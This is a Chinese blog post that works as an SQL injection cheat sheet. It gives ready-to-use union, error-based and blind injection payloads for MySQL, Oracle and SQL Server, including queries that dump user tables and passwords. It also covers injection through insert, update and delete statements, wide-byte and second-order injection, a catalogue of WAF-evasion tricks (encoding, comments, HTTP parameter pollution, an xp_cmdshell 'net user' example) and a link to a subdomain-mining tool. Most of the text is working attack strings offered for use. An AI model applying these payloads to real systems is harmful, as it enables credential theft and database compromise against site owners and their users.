sql注入绕过方法及子域名挖掘

一、sql 注入的几种方式

01 Mysql 手工注入

1.1 联合注入

?id=1’ order by 4–+
?id=0’ union select 1,2,3,database()–+
?id=0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=“users” --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0’ union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(’,’,id,users,password )

?id=0’ union select 1,2,3,password from users limit 0,1–+

1.2 报错注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理:

exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。

updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

爆库:?id=1’ and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) – +
爆表:?id=1’ and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema=‘security’ limit 3,1),1) – +
爆字段:?id=1’ and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) – +
爆数据:?id=1’ and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) – +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度

?id=1’ and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) – +

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

?id=1’ and if(ascii(substr(database(),1,1))>115,1,sleep(5))–+
?id=1’ and if((substr((select user()),1,1)=‘r’),sleep(5),1)–+

1.3.2 布尔盲注
?id=1’ and substr((select user()),1,1)=‘r’ – +
?id=1’ and IFNULL((substr((select user()),1,1)=‘r’),0) – +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1’ and strcmp((substr((select user()),1,1)=‘r’),1) – +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入

1.4.1 报错

mysql> insert into admin (id,username,password) values (2,“or updatexml(1,concat(0x7e,(version())),0) or”,“admin”);
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
±-----±----------------------------------------------±---------+
| id | username | password |
±-----±----------------------------------------------±---------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
±-----±----------------------------------------------±---------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,"“or updatexml(1,concat(0x7e,(version())),0) or”",“admin”);
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’

#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’

1.4.2 盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)=‘r’),sleep(5),1),‘1’,“admin”);
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)=‘p’),sleep(5),1),‘1’,“admin”);
Query OK, 1 row affected (0.00 sec)

#字符型注意闭合不能使用and
mysql> insert into admin values (2,’’+if((substr((select user()),1,1)=‘p’),sleep(5),1)+’’,“admin”);
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,’’+if((substr((select user()),1,1)=‘r’),sleep(5),1)+’’,“admin”);
Query OK, 1 row affected (5.01 sec)
delete 函数 or 右边一定要为 false

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)=‘r4’),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)=‘r’),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

#update 更新数据内容
mysql> select * from admin;
±-----±---------±---------+
| id | username | password |
±-----±---------±---------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
±-----±---------±---------+
4 rows in set (0.00 sec)

mysql> update admin set id=“5”+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values (‘3’,0x61646d696e272d2d2b,‘11’);
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
±—±----------±------+
| id | name | pass |
±—±----------±------+
| 1 | admin | admin |
| 2 | admin’111 | 11111 |
| 3 | admin’–+ | 11 |
±—±----------±------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin’–+ 误认为 admin 账户

宽字节注入:针对目标做了一定的防护,单引号转变为 ’ , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入

id=-1%df’ union select…

#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運’

0x02 Oracle 手工注入
2.1 联合注入

?id=-1’ union select user,null from dual–
?id=-1’ union select version,null from v$instance–
?id=-1’ union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)–
?id=-1’ union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name =‘USERS’) where limit=2)–
?id=-1’ union select username,passwd from users–
?id=-1’ union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)–

2.2 报错注入

?id=1’ and 1=ctxsys.drithsx.sn(1,(select user from dual))–
?id=1’ and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like ‘Oracle%))–
?id=1’ and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))–
?id=1’ and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name =‘USERS’) where limit=3))–
?id=1’ and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))–

2.3 盲注

2.3.1 布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下:

IF 条件=值1 THEN
    RETURN(返回值1)
ELSIF 条件=值2 THEN
    RETURN(返回值2)
    …
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF
?id=1’ and 1=(select decode(user,‘SYSTEM’,1,0,0) from dual)–
?id=1’ and 1=(select decode(substr(user,1,1),‘S’,1,0,0) from dual)–
?id=1’ and ascii(substr(user,1,1))> 64-- #二分法

2.3.2 时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注,这个函数可以指定延迟的时间

?id=1’ and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE(‘a’,5) else 1 end)–
?id=1’ and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE(‘a’,5) else 1 end)–

0x03 SQL server 手工注入

3.1 联合注入

?id=-1’ union select null,null–
?id=-1’ union select @@servername, @@version–
?id=-1’ union select db_name(),suser_sname()–
?id=-1’ union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null–
?id=-1’ union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null–
?id–1’ union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null–
?id=-1’ union select (select top 1 column name from information_schema.columns where table_name=‘users’ and column_name not in (select top 1 column_name from information_schema.columns where table_name = ‘users’)),null—
?id=-1’ union select (select top 1 username from users where username not in (select top 3 username from users)),null–

3.2 报错注入

?id=1’ and 1=(select 1/@@servername)–
?id=1’ and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))–

3.3 盲注

3.3.1 布尔盲注

?id=1’ and ascii(substring((select db_ name(1)),1,1))> 64–

3.3.2 时间盲注

?id= 1’;if(2>1) waitfor delay ‘0:0:5’–
?id= 1’;if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay ‘0:0:2’–

二、sql注入点的寻找 

1.加入单引号 ’提交,
结果:如果出现错误提示,则该网站可能就存在注入漏洞。
2.数字型判断是否有注入;
语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
结果:分别返回不同的页面,说明存在注入漏洞.
分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,
如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。
也就表明程序有注入漏洞
防注入解决办法:
使用or 2>1 ; or 1>2来进行判断
结果:分别返回不同的页面,说明存在注入漏洞.
分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为
假。
记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面
,说明存在注入点。
使用xor 1=1; xor 1=2
结果:分别返回不同的页面,说明存在注入漏洞.
分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。
记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确
页面,说明存在注入点。
把and 1=1转换成URL编码形式后在提交
and 1=1 URL编码:%41%4E%44%20%%31%3D%31
使用-1;-0
分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在
URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的
页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
3.字符型判断是否有注入:
语句:' and '1'=1;' and '1=2(经典)
结果:结果:分别返回不同的页面,说明存在注入漏洞.
分析:加入' and '1'=1返回正确页面,加入' and '1=2返回错误页面,说明有注入漏同。
防注入解决办法:
在URL的地址后面加上'%2B'(字符型)
分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加
上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1
不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
4.搜索型判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜
索%,如果正常返回,说明95%有洞了。
说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题
操作:
搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和
2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了

三、sql注入绕过方法

WAF是如何工作的?

        协议异常检测:拒绝不符合HTTP标准的请求

        增强的输入验证:代理和服务器端验证,而不仅仅是客户端验证

        白名单和黑名单

        基于规则和基于异常的保护:基于规则的更依赖黑名单机制,基于异常则更灵活

        状态管理:关注会话保护还有:Cookie保护,反入侵规避技术,响应监控和信息披露保护。

如何绕过WAF?

1.当我们在目标URL进行SQL注入测试时,可以通过修改注入语句中字母的大小写来触发WAF保护情况。如果WAF使用区分大小写的黑名单,则更改大小写可能会帮我们成功绕过WAF的过滤。

http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

2.关键字替换(在关键字中间可插入将会被WAF过滤的字符) - 例如SELECT可插入变成SEL

http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

3.编码

+ URL encode

page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

+Hex encode

target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…

   SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

+Unicode encode

?id=10%D6‘%20AND%201=2%23  

   SELECT 'Ä'='A'; #1

4.使用注释

在攻击字符串中插入注释。例如,/*!SELECT*/ 这样WAF可能就会忽略该字符串,但它仍会被传递给目标应用程序并交由mysql数据库处理。

index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   

   'union%a0select pass from users#

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

   ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

5.某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()
 substr((select 'password'),1,1) = 0x70

   strcmp(left('password',1), 0x69) = 1

     strcmp(left('password',1), 0x70) = 0

   strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

6.使用特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法。

+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00

示例

‘se’+’lec’+’t’

      %S%E%L%E%C%T 1

      1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

' or --+2=- -!!!'2

     id=1+(UnI)(oN)+(SeL)(EcT)

7.HTTP参数控制

通过提供多个参数=相同名称的值集来混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。

+ HPP(HTTP Parameter Polution))

/?id=1;select+1,2,3+from+users+where+id=1—

   /?id=1;select+1&id=2,3+from+users+where+id=1—

   /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:

ea8d2b12e1dc458faeb63bfdc61774fd.png

+HPF (HTTP Parameter Fragment)

这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

  select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

+HPC (HTTP Parameter Contamination)

RFC2396定义了以下字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造的特殊请求时有不同的逻辑:

abb418b4d581463367bdf72167fb5b9f.png

以魔术字符%为例,Asp/Asp.net会受到影响

1236f4209252c4d9b65bce859b10e281.png

8.缓冲区溢出

WAF和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况,那么WAF可能就会崩溃,即使不能代码执行那也会使WAF无法正常运行。这样,WAF的安全防护自然也就被瓦解了。

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

9.整合绕过

当使用单一的方式无法绕过时,我们则可以灵活的将多种方式结合在一起尝试。

target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

四、sql的11种绕过

 11种绕过防注入系统的方法

1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
or' swords' =‘swords',由于mssql的松散性,我们可以把or 'swords' 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过,如or 'swords' ='swords',这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or 'swords' = N' swords' ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如or 'swords' =‘sw' +' ords' ;EXEC(‘IN' +' SERT INTO '+' …..' )

6、通过LIKE绕过
以前怎么就没想到呢?如or'swords' LIKE 'sw'!!!显然可以很轻松的绕过“=”“>”的限制……

7、通过IN绕过
与上面的LIKE的思路差不多,如or 'swords' IN ('swords')

8、通过BETWEEN绕过
如or 'swords' BETWEEN 'rw' AND 'tw'

9、通过>或者<绕过
or 'swords' > 'sw'
or 'swords' < 'tw'
or 1<3
……

10、运用注释语句绕过
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner) 

五、子域名挖掘工具

https://files.cnblogs.com/files/netlock/Layer%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98%E6%9C%BA5.0%E6%9C%80%E6%96%B0%E7%89%88.zip

posted @ 2021-11-01 11:01  netlock  阅读(515)  评论(0编辑  收藏  举报